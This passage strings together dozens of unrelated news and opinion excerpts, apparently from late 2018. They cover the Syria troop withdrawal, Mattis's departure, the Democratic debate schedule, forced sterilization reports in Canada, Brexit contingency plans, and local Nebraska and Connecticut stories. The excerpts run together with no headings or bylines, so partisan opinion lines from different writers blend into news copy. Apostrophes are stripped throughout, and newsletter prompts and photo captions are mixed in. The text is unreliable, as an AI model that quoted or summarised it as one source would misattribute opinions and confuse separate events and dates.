know. The assumption is supported by the way dictionaries evolved, since the earliest English dictionaries were essentially lists of vocabulary derived from French, Latin and Greek. The first known dictionary, written in 1604 by Robert Cawdrey, had entries for biliment and perfidious, but not for cat or door. Cawdrey thought we needed just the hard words. But two recent essays make the case that the Triangle owners have gotten a raw deal. A profile in the New York Review of Books of Michael Hirsch, the skilled researcher whose dogged work finally, in 2011, attached a name to every victim of the fire, quoted Hirschs view that they are two of the most wrongfully vilified people in American history. The article did not detail his reasoning. More recently, in Smithsonian magazine, curator Peter Liebhold offered an essay titled, Was History Fair to the Triangle Shirtwaist Factory Owners? Although Liebhold does not offer any new details or discoveries, he contends that the story of the fire has been trafficked in service to one agenda or another at the expense of the owners reputations. Today, the Islamic State is much stronger than it was when Obama withdrew from Iraq in 2011. The Defense Department estimates that the Islamic State retains about 30,000 fighters in Iraq and Syria and is more capable than its predecessor group al-Qaeda in Iraq was at the latters peak in 2006-2007. By contrast, when Obama pulled our troops out they had only about 700 fighters. According to the Institute for the Study of War, the Islamic State was able to smuggle as much as $400 million out of Iraq and reinvest it into legitimate businesses across the wider Middle East. With the loss of its caliphate at Trumps hands, the Islamic State has gone back to its roots as a terrorist insurgency. It remains dangerous and well-funded and has global reach. Any doubt in the mind of a soldier, Marine, airman or sailor could be the difference between life or death their own, or that of those they may confront. Not because they would deliberately defy an order, but because of the danger inherent in any hesitation during the split-second decisions that service members must make. Thats why its so vital that leadership never give those lower on the chain any reason to doubt their mission or their value. President Trump has consistently showed a lack of respect for the military and their families sacrifices. He has yet to visit service members overseas and has even publicly fought with Gold Star families of service members killed in the line of duty. With this president, his only mission seems to be serving himself. Even by his own standards, Ryans tenure has been a disappointment. I lost count of how many times he came on a radio talk show I hosted in Wisconsin to discuss the looming debt crisis or the need to tackle entitlements. These were the defining issues of his career, and he has the charts to prove it. That Ryan now leaves office, with trillion-dollar deficits and entitlements untouched, is one of the more disconcerting aspects of our bizarre political world. I rarely get a chance to say this, so: Good for Trump for endorsing a criminal-justice reform bill that passed the Senate on a bipartisan 87-to-12 vote. Its highly unlikely this would have happened without him. The bill is not everything reformers hoped for, but it does begin to undo the draconian criminal penalties enacted largely in the 1990s, toward the end of the great crime wave that began in the late 1960s. Curiously, the political controversy over human rights at the United Nations did not stop a growing interest in the Universal Declaration itself. If anything, disillusionment with the limits of human rights law only increased reliance on the text as a norm. Across the 1970s and 1980s, as human rights grew from an elite U.N. legal project into a grass-roots movement, groups like Amnesty International routinely invoked the Universal Declaration to mobilize public opinion. In the absence of international legal enforcement, popular culture, media and protest politics could be used to name and shame states. The climax came in 1988, when Amnesty International sponsored a series of rock concerts around the world to celebrate the declarations 40th anniversary. Leading musicians like Sting, Peter Gabriel, Tracy Chapman and Bruce Springsteen took the stage to promote human rights awareness along with Amnestys own brand and that of its corporate sponsor, Reebok. Facebook is the largest and most visible company engaged in suicide prediction. After it introduced a live-streaming service in early 2016, dozens of users broadcast suicide attempts in real time on the platform. In response, on Feb. 16, 2017, CEO Mark Zuckerberg announced that Facebook was experimenting with AI-based suicide prediction. Its software analyzes user-generated posts for signs of suicidal intent the word Goodbye paired with responses like Are you OK?, for example, or Please dont do this in response to a live stream and assigns them risk scores. Cases with high scores are forwarded to Facebooks community operations team, which reviews them and notifies police of severe cases. Facebook also helps pinpoint users locations so first responders can find them. In the past 12 months, the company initiated 3,500 of these wellness checks, contacting police about 10 times per day, Antigone Davis, Facebooks head of global safety, said in a recent interview with NPR. Democratic presidential candidates will meet in June for the first of at least 12 planned primary debates of the 2020 election cycle, under a plan released Thursday by party officials who said they were determined to create large debate audiences with broad candidate participation. Entry to the early debate stages will be determined by a combination of polling, grass-roots financial support and other factors, in an effort to include candidates who are not registering nationally in public opinion surveys. If the number of candidates is too large to host at a single event, the party plans to hold two events in the same location on consecutive nights, after randomly dividing the candidates in a public selection process. That would increase the number of actual debates beyond a dozen. Drawing lots strikes me as the fairest way to make sure everyone gets a fair shake, Democratic National Committee Chairman Thomas Perez said Thursday. We want our candidates to be able to articulate their vision of America. We dont want debates to be discussions of what your hand size is. We want debates to be discussions of health care. As it did in the last presidential election, the Democratic Party will threaten to punish candidates who participate in debates outside of the official schedule. But candidates are welcome to attend forums or town halls with their competitors, as long as they appear in sequence and do not directly engage with each other before voters. Democratic officials have been meeting for months with media partners and veterans of the last campaign to create the debate plan, with the goal of avoiding the controversy that defined the last debate process. The 2016 debate plan was drafted in close consultation with advisers to Hillary Clinton, but not her rivals. It started the debates in mid-October 2015, allowed only three debates before the new year and scheduled the debates at times when they were less likely to be watched. Clintons two primary rivals, Sen. Bernie Sanders (I-Vt.) and former Maryland Gov. Martin OMalley, both claimed the process had been rigged in her favor. In total, Clinton debated her Democratic rivals nine times over the course of seven months. An analysis by NDN, a Democratic think tank, found television viewership of the 12 Republican primary debates in 2016 was about 186 million, more than double the 72 million people who tuned in for the Democratic debates. This time, Democrats will host at least six debates in 2019, all of them in states that do not hold early primary or caucus contests. There will be at least six more debates in early 2020, including meetings in Iowa, New Hampshire, Nevada and South Carolina. The first two debates will be held in June and July. After an August break, they will continue on a monthly basis through the rest of the year. The last debate in 2020 is now scheduled for April. The debate reforms are part of a larger effort by Perez to make the Democratic nomination process more transparent and maximize the involvement of voters. Up to this point, Democratic officials have not consulted with prospective 2020 candidates or their staffs on the debate planning, unless those people were involved in the 2016 primary campaign. Even the perception of impartiality or an unfair advantage undermines our ability to win, Perez wrote to fellow members of the party in November of 2017. Since then, the Democratic National Committee has reduced the voting power of party officials, known as superdelegates, while encouraging states to hold primaries instead of caucuses, which tend to get less people involved. State parties holding caucuses will be required to accept absentee votes in 2020. Our north star principles are clear: making sure every candidate gets a fair shake and making sure voters across the country have an ample opportunity to get to know our nominees, Perez said. The exact qualifications for making the debate stage will be announced in January. The dates, locations and media partners for the events will also be released early next year. For lesser-known candidates, the debates are a crucial moment to showcase their qualifications, and several candidates are likely to lobby the committee in the coming weeks to make sure they can be included in the cutoff for the first debate. Id also like to see online engagement factored in, embracing the way that people engage with politics in the 21st century, said Rep. Eric Swalwell (D-Calif.), who has been edging toward his own presidential campaign. Polling has been off in the last few years, as weve seen. When you have a lot of qualified, talented candidates running theres no avoiding a big dinner table. Several potential candidates and their advisers responded positively to the Perez plan. My first piece of advice was not to have one campaign set up the schedule, then send it out like its the DNCs own, said Jeff Weaver, Bernie Sanderss campaign manager in 2016, who met with Democratic officials as they were drafting the proposal. Thats not happening now. Pete Buttigieg, the South Bend, Ind., mayor who is considering his own presidential campaign, said the party had gone out of its way to make sure its a fair process this time. Others agreed. It feels like a reasonable approach, said Rep. John Delaney (D-Md.), who entered the race more than a year ago but has polled far behind better-known candidates. David Weigel in Des Moines contributed to this report. What has become evident since the investigation began is that the Democrats utter failure to substantiate their pre-determined narrative concerning Russian collusion and their continuing inability to prove the allegations and claims that they had contrived from the outset, on the basis of nothing more than purely partisan-motivated prejudgments, has led them to desperate measure[s] which have degenerated this investigation into a patently-malicious effort to smear people, ruin lives, and ignore glaring evidence of related misconduct by a number of public officials clearly warranting investigation by your Committee, at minimum, Smith wrote. Mattis is also frustrated that Trump vetoed his choice to become the next chairman of the Joint Chiefs of Staff, the nations highest-ranking miliary officer. Trump announced this month that he has chosen Gen. Mark A. Milley, the Armys chief of staff, to replace the current chairman, Gen. Joseph F. Dunford Jr., who is due to step down next fall. Mattis had recommended the Air Force chief of staff, Gen. David L. Goldfein, people familiar with the discussions said. This is not an entirely unsuccessful approach. His trade policies, for example, have roiled relationships, but he has gotten the attention of China, whose policies have been criticized by past presidents and leaders in other nations for years. For that, other nations are no doubt grateful, even if no one is certain how the ongoing dispute will be resolved or when. This week, he signed a new farm bill, and he will soon be able to sign a criminal justice reform bill that was approved with overwhelming, bipartisan support. Trump said it was time for others in the region to step up against the Islamic State terrorist group and other hostile forces. Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? he asked. The bill, which does not cover state jails and prisons, would through reductions in sentencing do the equivalent of shaving a collective 53,000 years off the sentences of federal inmates over the next 10 years, according to the Congressional Budget Office though some advocacy groups dispute this figure. There were about 181,000 federal inmates as of Dec. 13, according to the Bureau of Prisons. There was a great deal of concern expressed . . . what is going to happen to the Kurds, who have fought by our side and helped defeat ISIS and probably need our protection? said Senate Homeland Security and Government Affairs Committee Chairman Ron Johnson (R-Wis.). I asked the vice president, Who are going to be the members of the coalition to prevent ISIS from reconstituting and keep Iran from completely taking over, Iran and Russia, from completely taking over Syria? More than 100,000 voting machines were purchased from a South Korean company to streamline the voting process, but they have proved controversial, and more than 7,000 were destroyed in last weeks fire. More than 80 percent of the machines and nearly all the ballots intended for use in Kinshasa were lost. The government and opposition have traded blame for the fire. McIvers detention, first reported this week by Canadas National Post, immediately sparked fears in Ottawa that she had become a third Canadian citizen to be effectively held hostage by Beijing in a spiraling tussle over Chinese business executive Meng Wanzhou, the Huawei Technologies chief financial officer who is wanted by U.S. law enforcement and was arrested in the Vancouver airport on Dec. 1 during a layover. If we lay down our nuclear weapons first, that is not denuclearization, but putting ourselves in a defenseless state, the commentary continued. This will apparently shatter the balance of strategy of nuclear forces, as well as bring about a nuclear war. Putin also again took Trumps side in defending his 2016 election victory, which critics say was tainted by Russian interference (which Russia denies). He drew a parallel to Britain, where politicians are in a bitter fight over how to implement the referendum vote in 2016 to exit the European Union. Kurds say the hopes they have since placed in the United States have continued to be dashed. In 1975, the United States abandoned support for a Kurdish uprising in Iraq after President Saddam Hussein struck a deal with their ally, the Shah of Iran. In 1991, President George H.W. Bush encouraged Iraqis to rise up against Saddam, but when Kurds in the north and Shiite Arabs in the south responded to the call, the U.S. military refrained from going to their aid. Most recently, the Trump administration last year withheld support for an independence referendum in Iraqi Kurdistan, and Iraqi troops rolled unopposed into areas the Kurds had controlled. Some have called for the total withdrawal of American forces, while others indicated that they would be supportive of keeping a small number of U.S. military advisers. American officials have said a U.S. military alliance with Iraqi forces is needed to avoid a repeat of the near-total collapse of Iraqs security forces during a 2014 blitz by the Islamic State, which included the militants gaining control of Mosul, the largest city in Iraqs north. For Nielsen, Thursdays announcement helped deflect some of the attention on the case of 7-year-old Jakelin Caal, who died Dec. 8 after she and her father were taken into Border Patrol custody in New Mexico. During the hearing, Nielsen acknowledged that she was informed of the childs death by her staff that same day, though neither she nor other DHS officials reported the incident to Congress and the public. For several security experts, the news of the Trump administrations decision evoked comparisons to the situation in Iraq after U.S. forces left that country in 2011 under a controversial agreement with Iraqs Shiite-led government. In 2008, U.S. intelligence officials claimed success against the Islamic State in Iraq the predecessor of the group that became ISIS declaring that the terrorists had been operationally defeated after a years-long campaign that targeted the groups leaders and drove its followers into hiding. Just three years after the U.S. withdrawal, the Islamic State took control of a third of Iraq, becoming the largest and best-armed terrorist movement of modern times. General Jim Mattis will be retiring, with distinction, at the end of February, after having served my Administration as Secretary of Defense for the past two years, Trump wrote. During Jims tenure, tremendous progress has been made, especially with respect to the purchase of new fighting equipment. General Mattis was a great help to me in getting allies and other countries to pay their share of military obligations. A new Secretary of Defense will be named shortly. I greatly thank Jim for his service! A number of close U.S. allies who are members of the U.S.-led coalition against the Islamic State said they were not consulted and were given no prior warning. One European defense secretary put in a call Tuesday to Jim Mattis after hearing rumors of the decision and received a late-night call back from the defense secretary with confirmation. Gen. Joseph F. Dunford Jr., chairman of the Joint Chiefs of Staff, did not participate in the meeting with Trump and was in the dark until after it took place, according to several people familiar with the situation. We urge the U.S. to immediately correct its mistakes, stop its slanderous smearing of China on cybersecurity issues and withdraw the so-called indictments against Chinese personnel, so as to avoid serious damage to bilateral relations and cooperation on related fields, the Foreign Ministry said in a statement Friday, adding that the Chinese government has never participated in or supported trade-secret thefts. In a region that is still trying to recover, the agencies are feeding people, providing economic assistance and propping up a shattered health and education system. Wednesdays shock announcement that some 2,000 U.S. troops could soon leave northern Syria raises the prospect that fresh violence and instability could force the aid operation to retrench. A father and daughter are among three people now facing murder charges in relation to the death of Kym Taylor, whose body was found in Bedfordale last month. Kym Taylor. Ms Taylors remains were found by a member of the public in bushland off Canning Dam Road on November 18. Five days after her family made a public appeal for information police charged 46-year-old Girrawheen man William Joseph Wright with her murder. He will face court again next month. On Sunday police announced they had charged a second man, Daniel Paul Ogilvie, 39, also with murder. He will face court again in February. Western Australia's budget will be back in surplus next financial year, but public sector debt will continue to weigh down the state's finances, the government's mid-year budget projections have revealed. The estimates, which give a mid-financial year insight into the state of the McGowan government's books, show they are on track for 2019-20 budget surplus of just over $1 billion. WA Treasurer Ben Wyatt makes his way to Parliament House to hand down the 2018-19 state budget. Credit:AAP/Tony McDonough But total public sector debt is expected to peak at $37.9 billion in 2020, before falling to $35.6 billion in 2022. Peak debt under Labor is $3.2 billion lower than it would have been under the former Liberal government, according to Treasurer Ben Wyatt. Seoul: North Korea says it will never unilaterally give up its nuclear weapons unless the United States removes its nuclear threat first. The statement, carried by the official Korean Central News Agency on Thursday, comes a day after Washington's top envoy to North Korea said the US planned to review its ban on American travel there to help facilitate humanitarian aid shipments. It raises further doubts on whether leader Kim Jong-un will ever relinquish an arsenal he may see as his greatest guarantee of survival. The remarks from Stephen Biegun, the US State Department's special representative, indicated that Washington was easing some of its "maximum" pressure on North Korea to break a prolonged stalemate in denuclearisation talks. London: Julian Assange's father has called for his son's "torment" to end, saying the WikiLeaks founder's health is declining after years of stress. John Shipton, the father of Julian Assange, attends a rally outside the British consulate in Melbourne. Credit:AP Assange has been living inside the Ecuadorian embassy in London for more than six years amid fears he will be extradited to the US if he leaves. He was visited on Thursday by his father John Shipton and two German MPs who are campaigning for him to be allowed to leave the embassy without being extradited. Shipton, who lives in Sydney, said his family wanted to see Assange in normal circumstances again. London: The doomed 1845 Arctic voyage of Sir John Franklin to the North-West Passage was one of the greatest disasters of British polar history, ending in the deaths of Sir John and 129 crewmen. Now the Inuit community close to where the wreckage of the HMS Terror and its sister ship, HMS Erebus, were found say its curse has been reawakened and is claiming lives in the tiny indigenous settlement. The wreck of HMS Erebus was found in 2014, HMS Terror two years later. Credit:Parks Canada Fear has gripped the remote settlement of Gjoa Haven, on Canada's King William Island, amid claims of "non-human" beings stalking the ice. The ships left England on a mission led by the Victorian explorer to navigate a route through the Northwest Passage. They became frozen near King William Island and none of the men on board survived. Preschoolers at Mary Lynch Elementary write down thoughts they wanted to share in letters to Santa in the Western Nebraska Observer. From left are Kolten Falk, Able Kuhns, Jett Withrow, Shaylee Markum and Avrilynne Travis. Dear Santa, Some Kimball kids heard that you read the Western Nebraska Observer and, with that in mind, they wrote down some thoughts and questions for you in this special Christmas edition of their hometown paper. They want to know about you. And they want you to know what they want as in toys and some other things that aren't toys at all. So before you finish making your list and checking it twice, here's some more food for thought before you fill up on all those cookies and milk while passing through the Nebraska Panhandle four nights from now. The Observer, meanwhile, extends special thanks to the schools, teachers and students who made these letters possible. And with that, it's time to hand over this part of the newspaper to the kids. Merry Christmas! Jim Orr, Observer publisher Shopko Stores Operating Co., which announced plans this month to close its Kimball department store, keeps making moves to right its financial ship. The Wisconsin-headquartered retailer in recent days reported the sale of 64 of its pharmacy locations to supermarket chains 42 to Kroger and 22 to Hy-Vee. Those moves dont affect the Kimball operation, but this development offers perhaps a glimmer of hope: The manager of the Shopko Hometown outlet in Stanley, N.D., told the media last weekend that plans to close that store were reversed. Stanley and Kimball have something in common: Both communities have online petitions to keep open their stores. In Stanley, that petition reportedly gained 1,500 signatures. Kimballs petition on the Grow Kimball Facebook page urges folks to email Shopko at [email protected] with messages to save the local shopping destination. Some have speculated locally about Shopko changing course to keep alive stores once designated for closure. A Kimball store employee referred The Observer to a corporate spokeswoman for comment, but she could not be reached Monday or Tuesday. The chain announced intentions earlier this month to close 39 stores in 19 states, including some in Nebraska. The companys website says it operates more than 363 stores in 24 states in the central U.S., West and Pacific Northwest. The closures were based on profit outlook, sales trends and growth potential. Liquidation sales have begun in Kimball and at other Shopkos expected to close early in 2019. Nebraska stores in Lincoln and Ord also are on the hit list. WESTPORT The Board of Education voted 5-2 in favor of a plan to keep sixth-graders in the towns five elementary schools next year in light of the continued closure of Coleytown Middle School, due to mold concerns. There are a lot of people making very good reasons why we should perhaps wait a little longer to find out more information, and the problem is we will run out of time if we wait, BOE Chair Mark Mathias said. A quick decision is needed to give the administration enough time to prepare for the coming school year, Mathias said. Out of the nine options the BOE originally considered after Coleytowns shut-down in September, the board was left with two at its meeting on Dec. 20. The final two options keep all of the towns sixth-graders in the elementary schools or house the entire sixth- through eighth-grade population at Bedford Middle School came about after the BOEs favored plan to have a sixth-grade academy fell through after real estate agents were unable to find a rental facility. I dont want to hold that out in false hopes, but we havent closed out the opportunity for the Realtor to continue to explore behind the scenes, Superintendent Colleen Palmer said. While she supports the boards decision to move forward with a decision, she said the administration will continue to look into the possibility of a sixth-grade academy. The majority of parents said both the K-6 and so-called mega middle school options are bad, but the K-6 plan is the lesser of two evils and less overwhelming for the sixth graders. Palmer also endorsed the K-6 plan, saying the plan is better for the social and emotional health of the sixth graders than the Bedford option. The larger concern of the night, however, was not the two plans, but the template schedule for the sixth grade presented at the BOEs last meeting on Dec. 10. The proposed sixth-grade schedule for the K-6 plan outlined cuts to sixth grade encore classes like theater, arts, and physical education, and more time for language arts and mathematics, which Palmer said is needed to boost performance in these two areas. We fear by cutting sixth-grade drama were permanently lessening the chances that students will go on to pursue theater in high school and the rest of their lives, Daisy Brackett, a member of the Staples High Schools theater program, Staples Players, told the board. Five Players and many parents spoke out in favor of maintaining the same amount of time for theater at the sixth-grade level, saying theater is an important part of Westports arts community and benefits students confidence and public speaking skills. The board did not vote on the schedule, and several members said they did not want to conflate a facilities challenge with educational strategy. Still, BOE members Karen Kleine and Vik Muktavaram both cited fear the K-6 plan will result in loss of encore activities in their vote against the K-6 plan. Because I see this as a fundamental change in our approach to education, at this time, I favor keeping all of sixth through eighth at Bedford, Kleine said. Many teachers, especially those who teach sixth grade, spoke out against the K-6 plan, saying it represents a complete change in the towns educational philosophy for sixth grade. The options we have in front of us have been born out of losing instructional space, and the possible solutions leave our teaching staff with more questions often than answers, as well as angst and uncertainty, said Karen DeFelice, a Staples High teacher and co-president of the Westport Education Association, the towns teachers union. Teachers have not been adequately consulted and fear for their jobs given likely cuts due to the continued closure of Coleytown, DeFelice said. After the board approved the K-6 plan, it also voted to create a task force to explore options for fixing Coleytown Middle School. svaughan@hearst mediact.com; 203-842-2638; @SophieCVaughan1 WESTPORT A Waterbury man is facing burglary and reckless driving charges after allegedly breaking into a car in Westport and fleeing from police. Around 3 a.m. on April 30, officers were dispatched to a house on Whitney Street on report of a larceny. The report was called in by a person who was driving and received notification from his home security system of motion detected in his driveway. In viewing his security cameras, the man observed people go through his vehicle, lock and unlock his car, and then enter a car and flee the area, police said. While responding to the area, an officer observed a gray sedan with three people in it make a right turn off Whitney Street and onto Main Street. When the officer pulled behind the car, the car drove off at a high rate of speed, police said. The officer attempted to stop the car but it continued onto Compo Road North. The car then drove onto Post Road East, at which time the officer observed a second car behind him that was also involved in the burglary, police said. During the pursuit, the original suspect car swerved twice at the pursuing officer, forcing him to take evasive action to avoid a collision. The pursuit continued eastbound on Post Road East and then onto Interstate 95 before the chase was terminated due to high speeds, police said. All occupants of the first suspect car reportedly fled and entered the second car in the area off Exit 30. Officers learned the second car was stolen from another Whitney Street address. The second car was later stopped by State Police near Exit 59 and the driver was identified as Jordan Butler, 19. Butler and the three juvenile occupants were arrested by state police for the alleged car theft, and their descriptions matched those of the suspects observed on the security video at the Westport mans home, police said. Police submitted a warrant for Butlers arrest and on Dec. 12, Butler was arrested at the state Superior Court of Norwalk. He was charged with third-degree burglary, disobeying the signal of an officer and reckless driving. Butler was additionally charged with attempt to commit burglary and attempt to commit assault on a police officer. Butler was held in lieu of $30,000 bond and arraigned later that day. svaughan@hearstmediact.com; 203-842-2638; @SophieCVaughan1 U.S. District Judge Matthew T. Schelp on Monday ordered a preliminary injunction against the Biden Administration, stopping mandated COVID-19 vaccinations for health care workers in Centers for Medicare and Medicaid ... (StatePoint) Bringing new life to classic holiday traditions starts with understanding the origins of how these traditions came to be. The Olesen family of O&H Danish Bakery knows how ... (StatePoint) Holiday cooking and entertaining dont have to be overly complex to impress. Here are quick, simple ways to elevate your meals for memorable experiences your friends and family... Premium For once I was willing to get out of bed early...for Garth Brooks Equifax Canada, which provides insights to the mortgage ecosystem, recently acquired JLR, a developer of innovative solutions based on the integration and distribution of property data. The move is in line with the firms commitment to strengthening its foothold in the Canadian mortgage industry, Equifax Canada said. This is a strong fit for Equifax Canada and reinforces our strategic focus on delivering innovative products and solutions to the Canadian mortgage industry, said Lisa Nelson, president of Equifax Canada. Equifax Canada provides comprehensive insights to the mortgage industry, including scores, risk analysis and market-share analysis. JLR, meanwhile, compiles and analyzes 700,000 property transactions annually in Quebec, in addition to municipal assessment rolls, building permits and Statistics Canada censuses. The addition of Equifax expertise to our knowledge of the market will allow us to provide a global solution to our clients with even greater value. We look forward to working with the new members of our team to reach higher levels of excellence, said Christian Boivin, president of JLR. An issue that is affecting the foundations of many homes in Quebec is to be addressed by a new research chair. The mineral pyrrhotite causes concrete to swell when in contact with moisture and it has been an ongoing problem for homeowners, primarily in the Mauricie and in the Centre-du-Quebec regions. Andree Laforest, Minister of Municipal Affairs and Housing and Minister responsible for the Saguenay-Lac-Saint-Jean Region; and the Honourable Navdeep Bains, Minister of Innovation, Science and Economic Development Canada, have created a Research Chair between the National Research Council of Canada and Laval University with the purpose of eliminating the problems caused by this damage. "In the Trois-Rivieres region, many owners of homes built between 1996 and 2008 have unfortunately discovered in recent years that their home's foundation has been contaminated by pyrrhotite," states Hassan Chellah, president of the Mauricie Real Estate Board. "After waiting for such a long time, this news comes as a Christmas present!" QFREB welcomes news The Quebec Federation of Real Estate Boards has also welcomed the news. It has been calling for a continuation of the Program for Residences Damaged by Pyrrhotite, which has been in effect since July 2011, to ensure that homeowners whose foundations have been damaged by the presence of pyrrhotite can continue to receive financial assistance for necessary renovation work. It is estimated that more than 1,000 households have benefited from this program since its inception. "The QFREB welcomes the announcement made by both levels of government and believes that this initiative will reduce the economic impact of pyrrhotite in Quebec and better protect Quebec households struggling with this scourge," added Patrick Juaneda, QFREB President. The Luzerne County Schools & Homes in Education (SHINE) program at Wilkes University celebrated the nationwide Lights on Afterschool project by offering a virtual Lights On! STEM lesson to its students and their families. Supplies were distributed beforehand to the students and included everything needed to make a flashlight with an LED bulb. The Zoom lesson, sponsored by UGI, explained where electricity comes, how it can light a bulb, and the history of electricity. OTTAWA - Reports detailing allegations of coerced and forced sterilizations of Indigenous women are "deeply concerning" and describe serious violations of medical ethics, the president of the Canadian Medical Association said Thursday. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Indigenous Services Minister Jane Philpott speaks at the Assembly of First Nations Special Chiefs meeting in Ottawa on December 5, 2018. The Canadian Medical Association is "very concerned" about recent reports of forced and coerced sterilization of Indigenous women in Canada. President Dr. Gigi Osler says no person should have a procedure performed on them without free, prior and informed consent, adding it amounts to not only a violation of human rights but it also violates the principles of medical ethics. Last week, Indigenous Services Minister Jane Philpott and Health Minister Ginette Petitpas Taylor sent a letter to provincial and territorial ministers, as well as members of the medical community, to express concern over recent reports on forced and coerced sterilization of Indigenous women in Canada. THE CANADIAN PRESS/Adrian Wyld OTTAWA - Reports detailing allegations of coerced and forced sterilizations of Indigenous women are "deeply concerning" and describe serious violations of medical ethics, the president of the Canadian Medical Association said Thursday. "This should not be happening," Dr. Gigi Osler said in an interview. "For me, to read these stories, it reinforces my desire and commitment for change to make sure ... we are looking after our vulnerable groups and in this case, Indigenous women." No one should have a procedure performed on him or her without free, prior and informed consent, Osler said, adding that pressuring women into being sterilized is not only a violation of a victim's human rights but also a violation of medical ethics. She said Thursday that the association supports Ontario Sen. Yvonne Boyer's call for a national study of the issue and it also plans to participate in a federal, provincial and territorial working group pitched by the federal government. Last week, Indigenous Services Minister Jane Philpott and Health Minister Ginette Petitpas Taylor sent a letter to provincial and territorial ministers, as well as members of the medical community, to express concern over recent reports on forced and coerced sterilizations of Indigenous women and to propose a working group of senior officials on measures to improve cultural safety in health systems. It also said the federal government sees merit in the working group of senior officials to oversee measures to improve cultural safety in health systems. Osler responded to the ministers to say she shares concerns about 2017 findings published by Boyer and Manitoba Metis researcher Dr. Judith Bartlett on coerced sterilization in the Saskatoon Health Region and from the United Nations Committee Against Torture. Earlier this month, the UN committee said all allegations, including recent ones in Saskatchewan, must be impartially investigated and those responsible must be held to account. It also said governments need to use legal and policy measures to stop women from being sterilized against their will. Other medical professionals are examining coerced sterilization reports as well. The College of Physicians and Surgeons of Ontario said the reports are troubling to the medical profession and Canadians as a whole, adding they are "entirely inconsistent" with the professionalism it sees from a vast majority of health care workers. "As the largest physician regulatory body in Canada, we are prepared to partner with government to bring attention to this issue at the national level and make clear that such practices are simply unacceptable," it said in a statement. The Society of Obstetricians and Gynaecologists of Canada also confirmed it received a letter last week from the federal ministers. "We will work together with the government and other concerned parties to ensure that all women experience safe and respectful childbirth," CEO Jennifer Blake said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. This week, sterilization victims expressed concern in response to the proposed working group, fearing it does little to nothing to immediately prevent the human-rights violation from happening to other women. Prime Minister Justin Trudeau defended his government's response to date during a roundtable interview on Friday with The Canadian Press. "There are complex issues that feed into this and we have to at least get a handle on many of them to understand exactly that question 'How could this happen?'" Trudeau said. A proposed class action lawsuit was filed this week against the Government of Alberta on behalf of Indigenous women who say they were subjected to forced sterilization. Another is also underway in Saskatchewan, launched by Indigenous-owned national firm Maurice Law. It names the Saskatoon Health Authority, the Saskatchewan government, the federal government and a handful of medical professionals as defendants. Follow @kkirkup on Twitter LONDON - The European Union marked 100 days until Brexit on Wednesday by triggering an action plan to ensure planes can still fly and money can still flow between Britain and the bloc in the increasingly likely event that the U.K. leaves the EU without a divorce deal. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. LONDON - The European Union marked 100 days until Brexit on Wednesday by triggering an action plan to ensure planes can still fly and money can still flow between Britain and the bloc in the increasingly likely event that the U.K. leaves the EU without a divorce deal. The British government, struggling to break a political logjam over Brexit, released immigration plans that it said will "take back control" of the country's borders but which opponents warn will batter the economy by shutting out everyone but highly paid professionals. Graphic shows the median salaries in the U.K. across various industries; 2c x 4 3/4 inches; 96.3 mm x 120 mm; The EU measures, announced a day after Britain ramped up its own no-deal planning, are intended to alleviate "major disruption" to people and businesses in case squabbling U.K. politicians fail to ratify a withdrawal agreement between Britain and the bloc. European Commission Vice-President Valdis Dombrovskis called the contingency plan "an exercise in limiting damage." Britain is due to leave the EU on March 29, but it's unclear whether lawmakers will approve the divorce agreement Prime Minister Theresa May's government has negotiated with the bloc. May postponed a vote in Parliament last week because the deal faced heavy defeat. It has been rescheduled for mid-January, but opposition remains strong across the political spectrum. Leaving without a deal risks plunging the British economy into recession and sparking chaos at the borders, as four decades of economic alignment and open markets evaporate. The EU plan includes temporary one- to two-year measures to allow some U.K.-EU financial services to continue and a 12-month provision to keep planes flying between Britain and the bloc. But Dombrovskis stressed that the measures "cannot replicate the benefits of the withdrawal agreement, and certainly it cannot replicate the benefits of EU membership." Britain's no-deal preparations include putting 3,500 soldiers on standby, chartering boats to bring in goods and stockpiling medicines. The government called them sensible precautions, but opposition politicians accused May of trying to scare lawmakers into supporting her Brexit deal. "No-deal would be a disaster for our country and no responsible government would ever allow it," Labour Party leader Jeremy Corbyn said. Most members of Parliament dislike both May's Brexit deal and the prospect of leaving the EU without an agreement, but they are deeply divided about what to do instead, and the country's political debate has grown increasingly bad-tempered as Brexit day approaches. Corbyn was forced to deny calling May a "stupid woman" in the House of Commons on Wednesday, after he was caught appearing to mutter the insult during a fiery debate. "I did not use the words 'stupid woman' about the prime minister or anyone else, and am completely opposed to the use of sexist or misogynist language in absolutely any form at all," Corbyn said. In a bid to regain some of its vanished political momentum, the British government published long-awaited plans for a post-Brexit immigration system that will end the automatic right of EU citizens to live in the U.K. "We're going to bring an end to free movement," May said. "We will do that in a way that enables us to reduce net migration but enables us to ensure that the brightest and best can be attracted to the United Kingdom." She said that "in the future coming here will be based on your contribution, not on the country you come from." The government proposal places no limit on the number of well-paid, skilled immigrants who can settle in Britain, but puts curbs on "low-skilled" workers, who would only be able to get one-year working visas. The government plan suggests setting a salary threshold that immigrants will have to meet in order to be given the right to settle in Britain. An independent body advising the government has suggested 30,000 pounds ($38,000) a year above the median U.K. wage and more than the starting salary for nurses, paramedics, junior doctors and many other professions. Saffron Cordery, deputy chief executive of NHS Providers an umbrella group for Britain's state-funded health care system said the health sector was "deeply concerned" about the proposal. "High skills does not equal high pay," she told the BBC. The government said the exact salary threshold would be decided after public consultation. The rules will not apply to more than 3 million EU citizens currently living in Britain. The government has said they can stay, even if the U.K. leaves the bloc without an agreement on future relations. The EU, in its no-deal plans, urged member states to extend the same right to more than 1 million resident British nationals. Immigration was a major factor behind Britain's 2016 vote to leave the EU, and May has made ending free movement and cutting net immigration by more than half to below 100,000 people a year her key Brexit goals. But that has put her at odds with many business leaders. Big chunks of Britain's economy, from agriculture to health care, have come to depend on European workers, more than 1 million of whom have moved to Britain in the last 15 years. Businesses fear that choking off the flow of lower-skilled workers could lead to acute employee shortages. Scottish First Minister Nicola Sturgeon, a fierce opponent of Brexit, said the immigration proposals would "devastate" the Scottish economy, "It's beyond me that any U.K. prime minister would want to have as her legacy turning the U.K. inwards and making it less open and welcoming to people from the rest of the world," Sturgeon said. The longer the political impasse drags on, the more worried British businesses get. The country's five leading business groups said in a rare joint statement that businesses "have been watching in horror" as the prospect of a disorderly Brexit grew more likely. Want to get a head 